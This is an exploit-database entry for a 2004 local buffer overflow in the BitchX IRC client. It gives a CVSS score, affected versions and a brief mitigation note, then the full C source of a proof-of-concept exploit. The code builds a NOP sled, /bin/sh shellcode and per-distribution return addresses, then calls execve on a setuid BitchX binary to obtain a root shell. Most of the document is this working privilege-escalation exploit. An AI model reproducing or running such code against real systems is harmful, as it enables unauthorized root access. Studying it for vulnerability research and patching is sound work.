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BitchX
by:
GroundZero Security Research and Software Development
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: BitchX
Affected Version From: BitchX-1.0c19
Affected Version To: BitchX-1.0c20cvs
Patch Exists: NO
Related CWE:
CPE: a:bitchx_project:bitchx:1.0c19
Metasploit:
Other Scripts:
Platforms Tested: Linux
2004

BitchX Buffer Overflow Exploit

This exploit code demonstrates a local exploitable buffer overflow vulnerability in BitchX. The vulnerability allows a malicious local user to obtain root access by exploiting the buffer overflow condition. The code verifies the bug on the system.

Mitigation:

Apply the latest patch or upgrade to a version that addresses the buffer overflow vulnerability. Avoid running BitchX with elevated privileges.
Source

Exploit-DB raw data:

/* Tested on BitchX-1.0c19 /str0ke */
/*
 * P.o.C Exploit Code for BitchX
 * made for Version (BitchX-1.0c20cvs) -- Date (20020325)
 *
 * (C) 2004. GroundZero Security Research and Software Development
 *           http://www.groundzero-security.com 
 *
 * released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
 *
 * --[ background
 *
 * BitchX contains an local exploitable Buffer Overflow condition.
 * Sometimes it is installed setUID to allow non-root users SSL
 * access for example and therfore it could be used by a mallicious
 * local user, to obtain root access. This code demonstrates the
 * described vulnerability and can be used to verify the bug on
 * your system(s).
 */

#include <stdio.h>

struct {
  char *distro;
  char *version;
  char *bx;
  unsigned int return_add;
  unsigned int buff_size;
} T[] = {
            { "SuSE Linux",   "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
            { "Debian Linux", "3.0", "BitchX-1.0c19",    0xbfffff5c, 2090 },
            { "END",          "",    "",                 0,          0    },
        }; 

char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
                 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int usage(char *argv)
{
    int i;

    fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
    fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
    fprintf (stdout, "Available Targets:\n");
    for(i=0;T[i].distro!="END";i++)
    fprintf (stdout, "\t\t\t %i: (%s %s) %s\n",i,T[i].distro,T[i].version,T[i].bx);

    return(0);
}
     
int main(int argc, char *argv[])
{
    unsigned int i;
    unsigned int t;

    char buffer[3000];
    char *a1     = "sh";
    char *a2     = "-c";
    char *env[]  = { "TERM=xterm", 0 };    
    char *args[] = { a1, a2, buffer, 0};  /* arguments list */

    fprintf (stdout, "\n\n#############################################################\n");
    fprintf (stdout, "### GroundZero Security Research and Software Development ###\n");
    fprintf (stdout, "### Linux Local P.o.C Exploit for BitchX                  ###\n");
    fprintf (stdout, "#############################################################\n\n");
 
    if(argv[1]==NULL||argv[2]==NULL)
    {
        usage (argv[0]);
        fprintf (stdout, "\n");
        exit (0);
    }

    if(strlen(argv[1])>255||strlen(argv[2])>255)
    {
        exit (-1); 
    }

    t=atoi(argv[2]); 

    fprintf (stdout, "selected: %s %s %s\n",T[t].distro,T[t].version,T[t].bx); 
    fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);

    for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add;  /* put return address in buffer */
    for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90; /* add nop's */

    memcpy (buffer+i,shellcode,strlen(shellcode));  /* generate exploit string */

    fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n",argv[1]);
    sleep(3);

    if((execve (argv[1],args,env))==-1)  /* execute binary and smash the stack */
    {
        perror("execve");
        exit (-1);
    }

    exit (0);
}

// milw0rm.com [2005-04-21]